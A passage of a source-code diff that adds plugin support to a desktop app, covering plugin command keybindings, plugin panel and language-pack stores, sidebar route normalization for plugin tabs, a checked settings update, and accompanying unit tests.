+  getEffectivePluginCommandKeybindings,
+  pluginCommandKeybindingActionId,
+  pluginCommandKeybindingDefinition
+} from './plugin-command-keybindings'
+
+const command: ActivePluginCommand = {
+  pluginKey: 'orca-samples.tasks',
+  pluginName: 'Tasks',
+  id: 'open',
+  title: 'Open Tasks',
+  context: 'global',
+  handler: { type: 'built-in', action: 'view.tasks' },
+  keybindings: [{ key: 'Mod+Alt+T', when: 'global' }]
+}
+
+describe('plugin command keybindings', () => {
+  it('builds a stable dynamic action definition', () => {
+    expect(pluginCommandKeybindingActionId(command)).toBe('plugin:orca-samples.tasks/open')
+    expect(pluginCommandKeybindingDefinition(command)).toMatchObject({
+      title: 'Open Tasks — Tasks',
+      group: 'Plugins',
+      defaultBindings: { darwin: ['Mod+Alt+T'] }
+    })
+  })
+
+  it('lets user overrides replace or disable contributed defaults', () => {
+    const actionId = pluginCommandKeybindingActionId(command)
+    expect(getEffectivePluginCommandKeybindings(command, 'linux')).toEqual(['Mod+Alt+T'])
+    expect(
+      getEffectivePluginCommandKeybindings(command, 'linux', { [actionId]: ['Mod+Shift+T'] })
+    ).toEqual(['Mod+Shift+T'])
+    expect(getEffectivePluginCommandKeybindings(command, 'linux', { [actionId]: [] })).toEqual([])
+  })
+
+  it('keeps removed-plugin overrides inert and restores them on reinstall', () => {
+    const actionId = pluginCommandKeybindingActionId(command)
+    const overrides = { [actionId]: ['Mod+Shift+T'] }
+
+    expect(buildPluginCommandKeybindingDefinitions([])).toEqual([])
+    expect(getEffectivePluginCommandKeybindings(command, 'linux', overrides)).toEqual([
+      'Mod+Shift+T'
+    ])
+  })
+
+  it('matches effective overrides and honors explicit disablement', () => {
+    const actionId = pluginCommandKeybindingActionId(command)
+    const input = {
+      key: 't',
+      code: 'KeyT',
+      control: true,
+      meta: false,
+      alt: false,
+      shift: true
+    }
+
+    expect(findPluginCommandForKeybinding([command], input, 'linux', undefined, true)).toBeNull()
+    expect(
+      findPluginCommandForKeybinding(
+        [command],
+        input,
+        'linux',
+        { [actionId]: ['Mod+Shift+T'] },
+        true
+      )
+    ).toBe(command)
+    expect(
+      findPluginCommandForKeybinding([command], input, 'linux', { [actionId]: [] }, true)
+    ).toBeNull()
+  })
+
+  it('reports conflicts between plugin and built-in definitions', () => {
+    const actionId = pluginCommandKeybindingActionId(command)
+    const definitions = [...KEYBINDING_DEFINITIONS, pluginCommandKeybindingDefinition(command)]
+
+    expect(
+      findKeybindingConflictsForDefinitions(definitions, 'darwin', {
+        [actionId]: ['Mod+P']
+      })
+    ).toEqual(
+      expect.arrayContaining([
+        expect.objectContaining({
+          actionIds: expect.arrayContaining([actionId, 'worktree.quickOpen'])
+        })
+      ])
+    )
+  })
+
+  it('does not match worktree commands without an active worktree', () => {
+    const worktreeCommand = { ...command, context: 'worktree' as const }
+    const input = {
+      key: 't',
+      code: 'KeyT',
+      control: true,
+      meta: false,
+      alt: true,
+      shift: false
+    }
+
+    expect(
+      findPluginCommandForKeybinding([worktreeCommand], input, 'linux', undefined, false)
+    ).toBeNull()
+    expect(findPluginCommandForKeybinding([worktreeCommand], input, 'linux', undefined, true)).toBe(
+      worktreeCommand
+    )
+  })
+})
diff --git a/src/renderer/src/lib/plugin-command-keybindings.ts b/src/renderer/src/lib/plugin-command-keybindings.ts
new file mode 100644
index 000000000..7d85093b5
--- /dev/null
+++ b/src/renderer/src/lib/plugin-command-keybindings.ts
@@ -0,0 +1,75 @@
+import type { ActivePluginCommand } from '@/store/plugin-panels'
+import {
+  getEffectiveKeybindingsForDefinition,
+  keybindingMatchesInput,
+  type KeybindingDefinition,
+  type KeybindingInput,
+  type KeybindingOverrides,
+  type PluginKeybindingActionId
+} from '../../../shared/keybindings'
+import { translate } from '@/i18n/i18n'
+import { pluginCommandKeybindingActionId as sharedPluginCommandKeybindingActionId } from '../../../shared/plugins/plugin-command-actions'
+
+export function pluginCommandKeybindingActionId(
+  command: Pick<ActivePluginCommand, 'pluginKey' | 'id'>
+): PluginKeybindingActionId {
+  return sharedPluginCommandKeybindingActionId(command.pluginKey, command.id)
+}
+
+export function pluginCommandKeybindingDefinition(
+  command: ActivePluginCommand
+): KeybindingDefinition {
+  const defaults = command.keybindings.map((keybinding) => keybinding.key)
+  return {
+    id: pluginCommandKeybindingActionId(command),
+    title: `${command.title} — ${command.pluginName}`,
+    group: translate('auto.lib.pluginCommandKeybindings.group', 'Plugins'),
+    scope: 'global',
+    searchKeywords: [
+      'plugin',
+      'shortcut',
+      command.title.toLowerCase(),
+      command.pluginName.toLowerCase()
+    ],
+    defaultBindings: { darwin: defaults, linux: defaults, win32: defaults }
+  }
+}
+
+export function buildPluginCommandKeybindingDefinitions(
+  commands: readonly ActivePluginCommand[]
+): KeybindingDefinition[] {
+  return commands.map(pluginCommandKeybindingDefinition)
+}
+
+export function getEffectivePluginCommandKeybindings(
+  command: ActivePluginCommand,
+  platform: NodeJS.Platform,
+  overrides?: KeybindingOverrides
+): string[] {
+  return getEffectiveKeybindingsForDefinition(
+    pluginCommandKeybindingDefinition(command),
+    platform,
+    overrides
+  )
+}
+
+export function findPluginCommandForKeybinding(
+  commands: readonly ActivePluginCommand[],
+  input: KeybindingInput,
+  platform: NodeJS.Platform,
+  overrides: KeybindingOverrides | undefined,
+  hasActiveWorktree: boolean
+): ActivePluginCommand | null {
+  for (const command of commands) {
+    if (command.context === 'worktree' && !hasActiveWorktree) {
+      continue
+    }
+    const matches = getEffectivePluginCommandKeybindings(command, platform, overrides).some(
+      (binding) => keybindingMatchesInput(binding, input, platform)
+    )
+    if (matches) {
+      return command
+    }
+  }
+  return null
+}
diff --git a/src/renderer/src/lib/settings-navigation-types.ts b/src/renderer/src/lib/settings-navigation-types.ts
index 7ce835e69..1930bba3e 100644
--- a/src/renderer/src/lib/settings-navigation-types.ts
+++ b/src/renderer/src/lib/settings-navigation-types.ts
@@ -34,6 +34,7 @@ export type SettingsNavTarget =
   | 'stats'
   | 'ssh'
   | 'experimental'
+  | 'plugins'
   | 'agents'
   | 'orchestration'
   | 'linear'
diff --git a/src/renderer/src/store/plugin-language-packs.ts b/src/renderer/src/store/plugin-language-packs.ts
new file mode 100644
index 000000000..a237f80f6
--- /dev/null
+++ b/src/renderer/src/store/plugin-language-packs.ts
@@ -0,0 +1,58 @@
+import { useEffect } from 'react'
+import { create } from 'zustand'
+import type { PluginLanguagePackRegistration } from '../../../shared/plugins/plugin-language-pack-artifact'
+
+type PluginLanguagePackState = {
+  packs: PluginLanguagePackRegistration[]
+  loaded: boolean
+  fetchPacks: () => Promise<void>
+}
+
+let requestGeneration = 0
+let changeSubscriptionStarted = false
+
+export const usePluginLanguagePackStore = create<PluginLanguagePackState>()((set) => ({
+  packs: [],
+  loaded: false,
+  fetchPacks: async () => {
+    const generation = ++requestGeneration
+    const api = window.api?.plugins
+    if (!api?.listLanguagePacks) {
+      if (generation === requestGeneration) {
+        set({ packs: [], loaded: true })
+      }
+      return
+    }
+    try {
+      const packs = await api.listLanguagePacks()
+      if (generation === requestGeneration) {
+        set({ packs, loaded: true })
+      }
+    } catch {
+      if (generation === requestGeneration) {
+        set({ packs: [], loaded: true })
+      }
+    }
+  }
+}))
+
+export function ensurePluginLanguagePacksLoaded(): void {
+  const state = usePluginLanguagePackStore.getState()
+  if (!state.loaded) {
+    void state.fetchPacks()
+  }
+  if (!changeSubscriptionStarted && window.api?.plugins?.onChanged) {
+    changeSubscriptionStarted = true
+    window.api.plugins.onChanged((event) => {
+      if (event?.contentPacksChanged ?? true) {
+        void usePluginLanguagePackStore.getState().fetchPacks()
+      }
+    })
+  }
+}
+
+export function usePluginLanguagePacks(): PluginLanguagePackRegistration[] {
+  const packs = usePluginLanguagePackStore((state) => state.packs)
+  useEffect(() => ensurePluginLanguagePacksLoaded(), [])
+  return packs
+}
diff --git a/src/renderer/src/store/plugin-panels.test.ts b/src/renderer/src/store/plugin-panels.test.ts
new file mode 100644
index 000000000..0b339dd19
--- /dev/null
+++ b/src/renderer/src/store/plugin-panels.test.ts
@@ -0,0 +1,154 @@
+// @vitest-environment happy-dom
+
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { PluginHostListEntry } from '../../../preload/api-types'
+import {
+  collectActivePluginCommands,
+  collectEditablePluginCommands,
+  usePluginPanelsStore
+} from './plugin-panels'
+
+function plugin(pluginKey: string): PluginHostListEntry {
+  return {
+    pluginKey,
+    consentFingerprint: 'sha256-test',
+    name: pluginKey,
+    version: '1.0.0',
+    publisher: 'orca-samples',
+    status: 'idle',
+    needsReconsent: false,
+    isDev: false,
+    official: false,
+    bundled: false,
+    capabilities: [],
+    panels: [],
+    commands: [],
+    hasWorker: false,
+    restarts: 0
+  }
+}
+
+afterEach(() => {
+  usePluginPanelsStore.getState().setPlugins([])
+  usePluginPanelsStore.setState({ plugins: [], panelErrors: {}, fetchStatus: 'idle' })
+  vi.useRealTimers()
+  vi.unstubAllGlobals()
+})
+
+describe('plugin panel list loading', () => {
+  it('collects commands only from enabled plugin states', () => {
+    const enabled = {
+      ...plugin('orca-samples.enabled'),
+      commands: [
+        {
+          id: 'tasks',
+          title: 'Tasks',
+          context: 'global' as const,
+          handler: { type: 'built-in' as const, action: 'view.tasks' },
+          keybindings: [{ key: 'Mod+Alt+T', when: 'global' as const }]
+        }
+      ]
+    }
+    const pending = { ...enabled, pluginKey: 'orca-samples.pending', status: 'pending' as const }
+
+    expect(collectActivePluginCommands([enabled, pending])).toEqual([
+      expect.objectContaining({
+        pluginKey: enabled.pluginKey,
+        pluginName: enabled.name,
+        id: 'tasks'
+      })
+    ])
+    expect(
+      collectEditablePluginCommands([
+        { ...enabled, status: 'errored' },
+        pending,
+        { ...enabled, status: 'disabled' }
+      ])
+    ).toEqual([expect.objectContaining({ pluginKey: enabled.pluginKey, id: 'tasks' })])
+  })
+
+  it('bounds watchdog errors to installed panels and clears them on recovery', () => {
+    const installed = {
+      ...plugin('orca-samples.current'),
+      panels: [
+        {
+          id: 'dashboard',
+          title: 'Dashboard',
+          tabKey: 'plugin:orca-samples.current/dashboard' as const
+        }
+      ]
+    }
+    usePluginPanelsStore.getState().setPlugins([installed])
+    usePluginPanelsStore.getState().setPanelHealth('plugin:orca-samples.current/dashboard', 'error')
+    expect(usePluginPanelsStore.getState().panelErrors).toEqual({
+      'plugin:orca-samples.current/dashboard': true
+    })
+
+    usePluginPanelsStore
+      .getState()
+      .setPanelHealth('plugin:orca-samples.current/dashboard', 'healthy')
+    expect(usePluginPanelsStore.getState().panelErrors).toEqual({})
+
+    usePluginPanelsStore.getState().setPanelHealth('plugin:orca-samples.current/dashboard', 'error')
+    usePluginPanelsStore.getState().setPlugins([])
+    expect(usePluginPanelsStore.getState().panelErrors).toEqual({})
+  })
+
+  it('does not let an older request overwrite a newer plugin list', async () => {
+    let resolveFirst!: (plugins: PluginHostListEntry[]) => void
+    let resolveSecond!: (plugins: PluginHostListEntry[]) => void
+    const list = vi
+      .fn()
+      .mockImplementationOnce(() => new Promise((resolve) => (resolveFirst = resolve)))
+      .mockImplementationOnce(() => new Promise((resolve) => (resolveSecond = resolve)))
+    vi.stubGlobal('window', { api: { plugins: { list } } })
+
+    const first = usePluginPanelsStore.getState().fetchPlugins()
+    const second = usePluginPanelsStore.getState().fetchPlugins()
+    resolveSecond([plugin('orca-samples.current')])
+    await second
+    resolveFirst([plugin('orca-samples.stale')])
+    await first
+
+    expect(usePluginPanelsStore.getState().plugins.map((entry) => entry.pluginKey)).toEqual([
+      'orca-samples.current'
+    ])
+  })
+
+  it('clears stale executable panels when the current list refresh fails', async () => {
+    usePluginPanelsStore.setState({
+      plugins: [plugin('orca-samples.stale')],
+      fetchStatus: 'ready'
+    })
+    vi.stubGlobal('window', {
+      api: { plugins: { list: vi.fn().mockRejectedValue(new Error('transport failed')) } }
+    })
+
+    await usePluginPanelsStore.getState().fetchPlugins()
+
+    expect(usePluginPanelsStore.getState()).toMatchObject({
+      plugins: [],
+      fetchStatus: 'error'
+    })
+  })
+
+  it('recovers automatically from a transient list failure with bounded backoff', async () => {
+    vi.useFakeTimers()
+    const list = vi
+      .fn()
+      .mockRejectedValueOnce(new Error('transport starting'))
+      .mockResolvedValueOnce([plugin('orca-samples.recovered')])
+    vi.stubGlobal('window', { api: { plugins: { list } } })
+
+    await usePluginPanelsStore.getState().fetchPlugins()
+    expect(usePluginPanelsStore.getState().fetchStatus).toBe('error')
+
+    await vi.advanceTimersByTimeAsync(250)
+
+    expect(list).toHaveBeenCalledTimes(2)
+    expect(usePluginPanelsStore.getState()).toMatchObject({
+      fetchStatus: 'ready',
+      plugins: [expect.objectContaining({ pluginKey: 'orca-samples.recovered' })]
+    })
+  })
+})
diff --git a/src/renderer/src/store/plugin-panels.ts b/src/renderer/src/store/plugin-panels.ts
new file mode 100644
index 000000000..56c168ce4
--- /dev/null
+++ b/src/renderer/src/store/plugin-panels.ts
@@ -0,0 +1,224 @@
+import { useEffect, useMemo } from 'react'
+import { create } from 'zustand'
+import type { PluginHostListEntry, PluginHostPanel } from '../../../preload/api-types'
+
+/** A panel contribution from an enabled plugin, flattened for sidebar use. */
+export type ActivePluginPanel = PluginHostPanel & {
+  pluginKey: string
+  pluginName: string
+}
+
+export type ActivePluginCommand = PluginHostListEntry['commands'][number] & {
+  pluginKey: string
+  pluginName: string
+}
+
+export type PluginPanelsFetchStatus = 'idle' | 'loading' | 'ready' | 'error'
+export type PluginPanelHealth = 'healthy' | 'error'
+
+type PluginPanelsState = {
+  plugins: PluginHostListEntry[]
+  panelErrors: Record<string, true>
+  fetchStatus: PluginPanelsFetchStatus
+  fetchPlugins: () => Promise<void>
+  setPlugins: (plugins: PluginHostListEntry[]) => void
+  setPanelHealth: (tabKey: string, health: PluginPanelHealth) => void
+}
+
+let pluginListGeneration = 0
+let pluginListRetryAttempt = 0
+let pluginListRetryTimer: ReturnType<typeof setTimeout> | null = null
+const PLUGIN_LIST_MAX_RETRIES = 2
+
+function schedulePluginListRetry(generation: number): void {
+  if (pluginListRetryAttempt >= PLUGIN_LIST_MAX_RETRIES) {
+    pluginListRetryAttempt = 0
+    return
+  }
+  pluginListRetryAttempt += 1
+  const delayMs = 250 * 2 ** (pluginListRetryAttempt - 1)
+  pluginListRetryTimer = setTimeout(() => {
+    pluginListRetryTimer = null
+    const state = usePluginPanelsStore.getState()
+    if (generation === pluginListGeneration && state.fetchStatus === 'error') {
+      void state.fetchPlugins()
+    }
+  }, delayMs)
+}
+
+export const usePluginPanelsStore = create<PluginPanelsState>()((set) => ({
+  plugins: [],
+  panelErrors: {},
+  fetchStatus: 'idle',
+  fetchPlugins: async () => {
+    const generation = ++pluginListGeneration
+    // Why: preload may predate the plugins namespace (web client pairing an
+    // older desktop build); treat a missing bridge as "no plugins" fail-soft.
+    const pluginsApi = window.api?.plugins
+    if (!pluginsApi) {
+      if (generation === pluginListGeneration) {
+        pluginListRetryAttempt = 0
+        set({ fetchStatus: 'ready', plugins: [], panelErrors: {} })
+      }
+      return
+    }
+    set({ fetchStatus: 'loading' })
+    try {
+      const plugins = await pluginsApi.list()
+      if (generation === pluginListGeneration) {
+        pluginListRetryAttempt = 0
+        set((state) => ({
+          plugins,
+          fetchStatus: 'ready',
+          panelErrors: retainInstalledPanelErrors(state.panelErrors, plugins)
+        }))
+      }
+    } catch {
+      if (generation === pluginListGeneration) {
+        // A failed authority refresh must not leave previously enabled panel
+        // documents mounted from stale state. Bounded retries recover from a
+        // transient preload/main startup race without spinning indefinitely.
+        set({ plugins: [], panelErrors: {}, fetchStatus: 'error' })
+        schedulePluginListRetry(generation)
+      }
+    }
+  },
+  setPlugins: (plugins) => {
+    pluginListGeneration += 1
+    pluginListRetryAttempt = 0
+    if (pluginListRetryTimer) {
+      clearTimeout(pluginListRetryTimer)
+      pluginListRetryTimer = null
+    }
+    set((state) => ({
+      plugins,
+      fetchStatus: 'ready',
+      panelErrors: retainInstalledPanelErrors(state.panelErrors, plugins)
+    }))
+  },
+  setPanelHealth: (tabKey, health) => {
+    set((state) => {
+      const panelErrors = { ...state.panelErrors }
+      if (health === 'error') {
+        panelErrors[tabKey] = true
+      } else {
+        delete panelErrors[tabKey]
+      }
+      return { panelErrors }
+    })
+  }
+}))
+
+function retainInstalledPanelErrors(
+  panelErrors: Readonly<Record<string, true>>,
+  plugins: readonly PluginHostListEntry[]
+): Record<string, true> {
+  const installed = collectInstalledPluginTabKeys(plugins)
+  return Object.fromEntries(
+    Object.entries(panelErrors).filter(([tabKey]) => installed.has(tabKey))
+  ) as Record<string, true>
+}
+
+let changeSubscriptionStarted = false
+
+/** Kicks off the startup fetch and subscribes to main-process change pushes
+ *  (install/remove/enable/dev-reload); safe to call repeatedly. */
+export function ensurePluginPanelsLoaded(): void {
+  const { fetchStatus, fetchPlugins } = usePluginPanelsStore.getState()
+  if (fetchStatus === 'idle') {
+    void fetchPlugins()
+  }
+  if (!changeSubscriptionStarted && window.api?.plugins?.onChanged) {
+    changeSubscriptionStarted = true
+    window.api.plugins.onChanged(() => {
+      void usePluginPanelsStore.getState().fetchPlugins()
+    })
+  }
+}
+
+/** Panels of plugins the user enabled (consented + not disabled). `idle` and
+ *  `restarting` still show panels — the panel itself never needs a worker. */
+export function collectActivePluginPanels(plugins: PluginHostListEntry[]): ActivePluginPanel[] {
+  return plugins
+    .filter(
+      (plugin) =>
+        plugin.status === 'running' || plugin.status === 'restarting' || plugin.status === 'idle'
+    )
+    .flatMap((plugin) =>
+      plugin.panels.map((panel) => ({
+        ...panel,
+        pluginKey: plugin.pluginKey,
+        pluginName: plugin.name
+      }))
+    )
+}
+
+/** Tab keys of every installed plugin panel (any status) — used by the
+ *  persisted-route normalizer to drop keys of uninstalled plugins while
+ *  keeping keys that are merely disabled. */
+export function collectInstalledPluginTabKeys(
+  plugins: readonly PluginHostListEntry[]
+): Set<string> {
+  return new Set(plugins.flatMap((plugin) => plugin.panels.map((panel) => panel.tabKey)))
+}
+
+export function collectActivePluginCommands(
+  plugins: readonly PluginHostListEntry[]
+): ActivePluginCommand[] {
+  return plugins
+    .filter(
+      (plugin) =>
+        plugin.status === 'running' || plugin.status === 'restarting' || plugin.status === 'idle'
+    )
+    .flatMap((plugin) =>
+      plugin.commands.map((command) => ({
+        ...command,
+        pluginKey: plugin.pluginKey,
+        pluginName: plugin.name
+      }))
+    )
+}
+
+export function collectEditablePluginCommands(
+  plugins: readonly PluginHostListEntry[]
+): ActivePluginCommand[] {
+  return plugins
+    .filter((plugin) => ['running', 'restarting', 'idle', 'errored'].includes(plugin.status))
+    .flatMap((plugin) =>
+      plugin.commands.map((command) => ({
+        ...command,
+        pluginKey: plugin.pluginKey,
+        pluginName: plugin.name
+      }))
+    )
+}
+
+/** Panel contributions of enabled plugins, loading the list on first use. */
+export function usePluginPanels(): ActivePluginPanel[] {
+  const plugins = usePluginPanelsStore((s) => s.plugins)
+  useEffect(() => {
+    ensurePluginPanelsLoaded()
+  }, [])
+  // Why: derive in useMemo (not the selector) so the store snapshot stays
+  // referentially stable and doesn't retrigger useSyncExternalStore loops.
+  return useMemo(() => collectActivePluginPanels(plugins), [plugins])
+}
+
+/** Commands of enabled plugins, sharing the authoritative plugin-list refresh. */
+export function usePluginCommands(): ActivePluginCommand[] {
+  const plugins = usePluginPanelsStore((state) => state.plugins)
+  useEffect(() => {
+    ensurePluginPanelsLoaded()
+  }, [])
+  return useMemo(() => collectActivePluginCommands(plugins), [plugins])
+}
+
+/** Enabled commands remain editable while a chord conflict has errored the
+ * plugin, so a saved override can recover both conflicting plugins. */
+export function useEditablePluginCommands(): ActivePluginCommand[] {
+  const plugins = usePluginPanelsStore((state) => state.plugins)
+  useEffect(() => {
+    ensurePluginPanelsLoaded()
+  }, [])
+  return useMemo(() => collectEditablePluginCommands(plugins), [plugins])
+}
diff --git a/src/renderer/src/store/right-sidebar-route.test.ts b/src/renderer/src/store/right-sidebar-route.test.ts
index fd9974864..0e28dac6a 100644
--- a/src/renderer/src/store/right-sidebar-route.test.ts
+++ b/src/renderer/src/store/right-sidebar-route.test.ts
@@ -15,4 +15,37 @@ describe('normalizeRightSidebarRoute', () => {
       rightSidebarExplorerView: 'files'
     })
   })
+
+  it('preserves well-formed plugin panel tabs', () => {
+    expect(normalizeRightSidebarRoute('plugin:orca-samples.my-plugin/dashboard')).toEqual({
+      rightSidebarTab: 'plugin:orca-samples.my-plugin/dashboard',
+      rightSidebarExplorerView: 'files'
+    })
+  })
+
+  it('drops a well-formed tab once the installed plugin list proves it is stale', () => {
+    expect(
+      normalizeRightSidebarRoute('plugin:orca-samples.removed/dashboard', undefined, {
+        installedPluginTabKeys: new Set(['plugin:orca-samples.present/dashboard'])
+      })
+    ).toEqual({
+      rightSidebarTab: 'explorer',
+      rightSidebarExplorerView: 'files'
+    })
+  })
+
+  it('normalizes malformed plugin tabs to Explorer files', () => {
+    expect(normalizeRightSidebarRoute('plugin:orca-samples.my-plugin')).toEqual({
+      rightSidebarTab: 'explorer',
+      rightSidebarExplorerView: 'files'
+    })
+    expect(normalizeRightSidebarRoute('plugin:orca-samples.my-plugin/panel/extra')).toEqual({
+      rightSidebarTab: 'explorer',
+      rightSidebarExplorerView: 'files'
+    })
+    expect(normalizeRightSidebarRoute('plugin:My_Plugin/Panel!')).toEqual({
+      rightSidebarTab: 'explorer',
+      rightSidebarExplorerView: 'files'
+    })
+  })
 })
diff --git a/src/renderer/src/store/right-sidebar-route.ts b/src/renderer/src/store/right-sidebar-route.ts
index 2a0c21c1d..38bddf68e 100644
--- a/src/renderer/src/store/right-sidebar-route.ts
+++ b/src/renderer/src/store/right-sidebar-route.ts
@@ -1,4 +1,5 @@
 import type { ActiveRightSidebarTab, RightSidebarExplorerView } from '../../../shared/types'
+import { isPluginPanelTabKey } from '../../../shared/plugins/plugin-manifest'
 
 export type RightSidebarRoute = {
   rightSidebarTab: ActiveRightSidebarTab
@@ -9,14 +10,32 @@ function normalizeRightSidebarExplorerView(view: unknown): RightSidebarExplorerV
   return view === 'search' ? 'search' : 'files'
 }
 
+export type NormalizeRightSidebarRouteOptions = {
+  /** Tab keys of currently installed plugin panels. When provided, persisted
+   *  keys for UNINSTALLED plugins are dropped (reset to Explorer); merely
+   *  disabled plugins keep their key and fall back at render time via
+   *  resolveRightSidebarEffectiveTab. Omit when the installed list is not
+   *  known yet (early hydration) — the render-time fallback still guards. */
+  installedPluginTabKeys?: ReadonlySet<string>
+}
+
 export function normalizeRightSidebarRoute(
   tab: unknown,
-  explorerView?: unknown
+  explorerView?: unknown,
+  options?: NormalizeRightSidebarRouteOptions
 ): RightSidebarRoute {
   // Why: older builds persisted Search as a standalone activity tab.
   if (tab === 'search') {
     return { rightSidebarTab: 'explorer', rightSidebarExplorerView: 'search' }
   }
+  // Why: plugin tabs are open-ended keys; validate their shape so a persisted
+  // plugin tab isn't reset to Explorer on restart.
+  if (typeof tab === 'string' && isPluginPanelTabKey(tab)) {
+    if (options?.installedPluginTabKeys && !options.installedPluginTabKeys.has(tab)) {
+      return { rightSidebarTab: 'explorer', rightSidebarExplorerView: 'files' }
+    }
+    return { rightSidebarTab: tab, rightSidebarExplorerView: 'files' }
+  }
   if (
     tab === 'explorer' ||
     tab === 'vault' ||
diff --git a/src/renderer/src/store/slices/settings.test.ts b/src/renderer/src/store/slices/settings.test.ts
index 283e3ff25..0973c74d7 100644
--- a/src/renderer/src/store/slices/settings.test.ts
+++ b/src/renderer/src/store/slices/settings.test.ts
@@ -140,6 +140,70 @@ beforeEach(() => {
   })
 })
 
+describe('createSettingsSlice checked persistence', () => {
+  it('stores the authoritative settings after a successful checked update', async () => {
+    const authoritativeSettings = {
+      pluginSystemEnabled: true,
+      notifications: {}
+    } as unknown as NonNullable<AppState['settings']>
+    settingsSet.mockResolvedValueOnce(authoritativeSettings)
+    const store = createTestStore()
+    store.setState({
+      settings: {
+        pluginSystemEnabled: false,
+        notifications: {}
+      } as unknown as AppState['settings']
+    })
+
+    await expect(
+      store.getState().updateSettingsOrThrow({ pluginSystemEnabled: true })
+    ).resolves.toBeUndefined()
+
+    expect(settingsSet).toHaveBeenCalledWith({ pluginSystemEnabled: true })
+    expect(store.getState().settings).toBe(authoritativeSettings)
+  })
+
+  it('rejects a failed checked update without changing local settings', async () => {
+    const persistenceError = new Error('settings IPC failed')
+    const currentSettings = {
+      pluginSystemEnabled: false,
+      notifications: {}
+    } as unknown as NonNullable<AppState['settings']>
+    settingsSet.mockRejectedValueOnce(persistenceError)
+    const store = createTestStore()
+    store.setState({ settings: currentSettings })
+
+    await expect(
+      store.getState().updateSettingsOrThrow({ pluginSystemEnabled: true })
+    ).rejects.toBe(persistenceError)
+
+    expect(store.getState().settings).toBe(currentSettings)
+  })
+
+  it('keeps the existing update action best-effort and logs persistence failures', async () => {
+    const persistenceError = new Error('settings IPC failed')
+    const currentSettings = {
+      pluginSystemEnabled: false,
+      notifications: {}
+    } as unknown as NonNullable<AppState['settings']>
+    settingsSet.mockRejectedValueOnce(persistenceError)
+    const consoleError = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+    const store = createTestStore()
+    store.setState({ settings: currentSettings })
+
+    try {
+      await expect(
+        store.getState().updateSettings({ pluginSystemEnabled: true })
+      ).resolves.toBeUndefined()
+
+      expect(consoleError).toHaveBeenCalledWith('Failed to update settings:', persistenceError)
+      expect(store.getState().settings).toBe(currentSettings)
+    } finally {
+      consoleError.mockRestore()
+    }
+  })
+})
+
 describe('createSettingsSlice runtime switching', () => {
   it('repairs drifted task provider settings before sending updates', async () => {
     settingsSet.mockResolvedValueOnce({
diff --git a/src/renderer/src/store/slices/settings.ts b/src/renderer/src/store/slices/settings.ts
index 7b0d623a0..e0d17d065 100644
--- a/src/renderer/src/store/slices/settings.ts
+++ b/src/renderer/src/store/slices/settings.ts
@@ -28,6 +28,7 @@ export type SettingsSlice = SettingsSearchState & {
   settings: GlobalSettings | null
   fetchSettings: () => Promise<void>
   updateSettings: (updates: Partial<GlobalSettings>) => Promise<void>
+  updateSettingsOrThrow: (updates: Partial<GlobalSettings>) => Promise<void>
   setActiveRuntimeEnvironmentPreference: (environmentId: string | null) => Promise<boolean>
 }
 
@@ -35,6 +36,8 @@ type LegacyTerminalScrollbackSettingsUpdate = Partial<GlobalSettings> & {
   terminalScrollbackBytes?: unknown
 }
 
+type SettingsStateSetter = Parameters<StateCreator<AppState, [], [], SettingsSlice>>[0]
+
 function normalizeRuntimeEnvironmentId(value: string | null | undefined): string | null {
   const trimmed = value?.trim()
   return trimmed ? trimmed : null
@@ -47,6 +50,77 @@ function createOpenInApplicationId(): string {
   )
 }
 
+function normalizeSettingsUpdates(
+  updates: Partial<GlobalSettings>,
+  currentSettings: GlobalSettings | null
+): Partial<GlobalSettings> {
+  const { terminalScrollbackBytes: _legacyScrollbackBytes, ...sanitizedUpdates } =
+    updates as LegacyTerminalScrollbackSettingsUpdate
+  void _legacyScrollbackBytes
+  if ('terminalQuickCommands' in updates) {
+    sanitizedUpdates.terminalQuickCommands = normalizeTerminalQuickCommands(
+      updates.terminalQuickCommands
+    )
+  }
+  if ('terminalCustomThemes' in updates) {
+    sanitizedUpdates.terminalCustomThemes = normalizeTerminalCustomThemes(
+      updates.terminalCustomThemes
+    )
+  }
+  if ('visibleTaskProviders' in updates || 'defaultTaskSource' in updates) {
+    const taskProviderSettings = normalizeTaskProviderSettings({
+      visibleTaskProviders:
+        'visibleTaskProviders' in updates
+          ? updates.visibleTaskProviders
+          : currentSettings?.visibleTaskProviders,
+      defaultTaskSource:
+        'defaultTaskSource' in updates
+          ? updates.defaultTaskSource
+          : currentSettings?.defaultTaskSource
+    })
+    sanitizedUpdates.defaultTaskSource = taskProviderSettings.defaultTaskSource
+    sanitizedUpdates.visibleTaskProviders = taskProviderSettings.visibleTaskProviders
+  }
+  if ('openInApplications' in updates) {
+    sanitizedUpdates.openInApplications = normalizeOpenInApplications(updates.openInApplications, {
+      createId: createOpenInApplicationId
+    })
+  }
+  if ('disabledTuiAgents' in updates) {
+    sanitizedUpdates.disabledTuiAgents = normalizeDisabledTuiAgents(updates.disabledTuiAgents)
+  }
+  if ('agentDefaultArgs' in updates) {
+    sanitizedUpdates.agentDefaultArgs = normalizeTuiAgentArgsRecord(updates.agentDefaultArgs)
+    sanitizedUpdates.agentYoloDefaultsMigrated = true
+  }
+  if ('agentDefaultEnv' in updates) {
+    sanitizedUpdates.agentDefaultEnv = normalizeTuiAgentEnvRecord(updates.agentDefaultEnv)
+    sanitizedUpdates.agentYoloDefaultsMigrated = true
+  }
+  if ('uiLanguage' in updates) {
+    sanitizedUpdates.uiLanguage = normalizeUiLanguage(updates.uiLanguage)
+  }
+  if ('terminalScrollbackRows' in updates) {
+    sanitizedUpdates.terminalScrollbackRows = normalizeDesktopTerminalScrollbackRows(
+      updates.terminalScrollbackRows
+    )
+  }
+  return sanitizedUpdates
+}
+
+async function persistSettingsUpdates(
+  set: SettingsStateSetter,
+  updates: Partial<GlobalSettings>,
+  currentSettings: GlobalSettings | null
+): Promise<void> {
+  const nextSettings = await window.api.settings.set(
+    normalizeSettingsUpdates(updates, currentSettings)
+  )
+  set((state) => ({
+    settings: (nextSettings as GlobalSettings | undefined) ?? state.settings
+  }))
+}
+
 async function verifyRuntimeEnvironmentReachable(environmentId: string | null): Promise<void> {
   if (!environmentId) {
     return
@@ -81,67 +155,16 @@ export const createSettingsSlice: StateCreator<AppState, [], [], SettingsSlice>
 
   updateSettings: async (updates) => {
     try {
-      const { terminalScrollbackBytes: _legacyScrollbackBytes, ...sanitizedUpdates } =
-        updates as LegacyTerminalScrollbackSettingsUpdate
-      void _legacyScrollbackBytes
-      if ('terminalQuickCommands' in updates) {
-        sanitizedUpdates.terminalQuickCommands = normalizeTerminalQuickCommands(
